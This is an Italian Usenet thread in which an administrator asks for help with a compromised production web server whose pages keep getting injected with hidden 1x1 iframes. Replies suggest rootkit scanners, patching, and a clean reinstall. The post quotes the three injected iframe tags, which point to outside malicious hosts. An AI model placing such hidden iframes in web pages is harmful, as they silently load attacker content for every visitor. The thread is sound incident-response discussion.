Newsgroup: it.comp.os.linux.sys
Titolo: worm su server

ciao a tutti,
putroppo da 2 giorni a questa parte ho fatto questa brutta scoperta:
su uno dei server web che amministro tutte le pagine htm , html e php
sono infestate da questi iframe:
<iframe src="
http://www.onedayoffer.biz/id0299/wow.html
" width=1 
height=1></iframe>
<iframe src="
http://iframetraff.biz/dl/adv443.php
" width=1 
height=1></iframe>
<iframe 
src="
http://www.wakayama-info.net/board/includes/top/9094/index.html
" 
width=1 height=1></iframe>
ho tentato pià volte la cancellazione ma poi ricompaiono dopo poco ,
ho installato clam ho fatto l'aggioramento ma non riesce ad idetificare 
nulla.
qualcuno gia si è imbattuto in questo worm ?


è un server in produzione (web server/ftp/mail/cpanel) dover reinstallre è 
proprio la cosa che vorrei evitare.

 nulla.
prova anche chkrootkit

 Davide
forse sarebbe il caso di controllare se il software installato è stato
aggiornato con tutte le patch di sicurezza oppure a versioni di pacchetti
non ritenute vulnerabili.
altrimenti, reinstallare lo stesso software riporterebbe in vita una
macchina pulita, ma con le stesse vulnerabilità e via daccapo.
ciao
gl :)

 wrote in message 
news:mrnxs1wl8c1g.1airchegja8fw$.dlg@40tude.net...

ho fatto una prova con rkhunter (mi sembra un pò piu aggiornato)
Rootkit Hunter 1.2.7 is running
Determining OS... Ready
Checking binaries
* Selftests
     Strings (command)                                        [ OK ]
* System tools
  Performing 'known good' check...
   /bin/cat                                                   [ OK ]
   /bin/chmod                                                 [ OK ]
   /bin/chown                                                 [ OK ]
   /bin/dmesg                                                 [ BAD ]
   /bin/egrep                                                 [ OK ]
   /bin/env                                                   [ OK ]
   /bin/fgrep                                                 [ OK ]
   /bin/grep                                                  [ OK ]
   /bin/kill                                                  [ BAD ]
   /bin/login                                                 [ BAD ]
   /bin/ls                                                    [ OK ]
   /bin/mount                                                 [ BAD ]
qualcosa ho trovato ma credo sia un falso positivo.
ho reinstallato i pacchetti originali (util , mount) ma mi segnala sempre 
gli stessi errori.
su RH ES 3/2.4.21-4.0.1.ELsmp SMP

 
anche a me ha dato 3 falsi positivi, ma quei file son sicuro di averli 
modificati dai sorgenti
-- 
Roberto Tagliaferri-Linux user #30785 <-> r.tagliaferri@(forse)
tosnet.it
- Cara, se avessi saputo che eri vergine, ci avrei messo piu' tempo.
- Caro, se avessi saputo che c'era piu', tempo mi sarei tolta i collants.
		-- Anonimo

>
ho controllato a mano gli hash con quelli originali dal sito 
redhat.com
 e mi 
sembra tutto ok.
anche clam non sembra essere in grado di fare di meglio.
adesso sono 12 ore che il worm non ritorna spero di averlo debellato!!

 adesso sono 12 ore che il worm non ritorna spero di averlo debellato!!
mmm...se il server è di produzione è meglio evitare il "speriamo".
Sei sempre nel dubbio...e non èbuona cosa.
Come ti hanno già suggerito:
1) fai unbackup di /var/log per una analisi forense a sistema
ripristinato.
2) recupera un cd di installazione e spiana il tutto.
Ciao
Beppe